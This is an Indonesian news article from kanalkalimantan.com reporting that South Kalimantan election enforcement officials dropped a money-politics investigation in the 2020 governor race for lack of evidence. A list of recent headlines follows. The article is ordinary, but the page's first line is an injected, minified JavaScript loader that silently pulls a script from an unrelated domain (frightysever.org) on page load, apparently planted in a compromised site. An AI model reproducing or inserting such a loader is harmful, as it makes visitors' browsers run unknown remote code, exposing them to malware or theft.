(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Tak Cukup Bukti, Penyelidikan Dugaan Politik Uang di Pilgub Kalsel Dihentikan


KANALKALIMANTAN.COM, BANJARMASIN – Setelah 5 hari melakukan pendalaman dan memeriksa sedikitnya 4 saksi dan melakukan konsultasi dengan ahli hukum pidana, Sentra Penegakan Hukum Terpadu (Gakkumdu) Provinsi Kalsel menghentikan penyelidikan dugaan politik uang yang dilakukan oleh salah satu pasangan calon (paslon) di Pilkada Kalsel.

Pernyataan resmi disampaikan oleh Kordonator Divisi Penindakan Pelanggaran Bawaslu Provinsi Kalsel, Azhar Ridhanie di kantor Bawaslu Provinsi Kalsel, Rabu (7/10/2020) siang.

Menurut Aldo -sapaannya- berdasarkan penyelidikan yang dilakukan Sentra Gakkumdu Provinsi Kalsel dan telah mendatangi lokasi diduga terjadinya politik uang di Amuntai pada Sabtu (3/10/2020) lalu, tidak ada janji-janji maupun ajakan untuk memilih salah satu paslon ataupun tidak memilih salah satu paslon tertentu di Pilkada Kalsel.

“Kemudian, bahwa tidak ditemukan fakta dari keterangan para saksi siapa yang memberikan pecahan uang sebesar Rp50 ribu,” kata Aldo.
Lebih lanjut ia menjelaskan, Sentra Gakkumdu Provinsi Kalsel tidak mendapati adanya kesesuaian antara saksi satu dengan yang lainnya. Kemudian, tidak terdapat

adanya persesuaian antara keterangan saksi dengan bukti lainnya. “Berdasarkan fakta tersebut, dugaan tindak pidana pemilihan dengan pelapor atas nama Jurkani tidak bisa dilanjutkan ke tahap penyidikan,” tegas Aldo.

Aldo menerangkan, tidak dilanjutkannya laporan dugaan pelanggaran pemilu berupa politik uang ini, karena tidak cukupnya barang bukti dan ketidaksesuaian keterangan para saksi untuk memenuhi unsur-unsur. Sesuai yang diatur pada Pasal 187 huruf (a) Undang-undang Nomor 10 Tahun 2020.

“Sedangkan untuk netralitas ASN (aparatur sipil negara), akan kami rekomendasikan kepada Komisi ASN. Terkait dengan subjek yang diduga melanggar netralitas ASN. Statusnya nanti kami sampaikan di Bawaslu Provinsi Kalsel maupun media pengumuman,” lugas Aldo.

Sebelumnya, Tim Hukum paslon Denny Indrayana-Difriadi (H2D) melalui Ketua Tim Hukum, Jurkani melaporkan dugaan politik uang yang melibatkan salah satu paslon di Amuntai, Kabupaten Hulu Sungai Utara (HSU) ke Sentra Gakkumdu Provinsi Kalsel pada Kamis (1/10/2020) lalu.

Bahkan, Jurkani saat itu mengklaim, dalam pelaporan tersebut pihaknya telah menyiapkan barang bukti berupa sarung dan uang tunai yang diduga digunakan sebagai sarana membeli suara masyarakat. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Antar Kepulangan Jemaah Sekumpul, Posko Terpadu di Bandara Syamsudin Noor Ditutup

KANALKALIMANTAN.COM, BANJARBARU - Pasca kegiatan rutinan Malam Senin Momen 5 Rajab, arus kepulangan Jemaah Sekumpul… Read More

13 jam ago

Susun RKPD Tahun 2026, Bappedalitbang Banjar Gelar Musrenbang

KANALKALIMANTAN.COM, MARTAPURA - Bappedalitbang Kabupaten Banjar menggelar rapat persiapan pelaksanaan Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan… Read More

15 jam ago

Eksepsi Dua Terdakwa Suap Proyek PUPR Kalsel, Jaksa KPK: Keberatan Tak Berdasar

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi… Read More

15 jam ago

6 Januari : Hari Anak Yatim Korban Perang se Dunia

KANALKALIMANTAN.COM - 6 Januari diperingati sebagai Hari Anak Yatim Korban Perang se Dunia. Momentum hari… Read More

17 jam ago

Sukses Amankan Kelistrikan Natal, Dirut PLN Pimpin Siaga Pergantian Tahun

KANALKALIMANTAN.COM, JAKARTA - Setelah berhasil mengamankan sistem kelistrikan saat periode Natal 2024, Direktur Utama PLN… Read More

18 jam ago

Lautan Jemaah Sekumpul, 4,1 Juta Pengguna Ponsel Tersebar di Martapura-Banjarbaru

KANALKALIMANTAN.COM, MARTAPURA - Rangkaian kegiatan Haul ke-20 Guru Sekumpul di Musholla Ar-Raudhah, Martapura, Kabupaten Banjarbaru,… Read More

18 jam ago

This website uses cookies.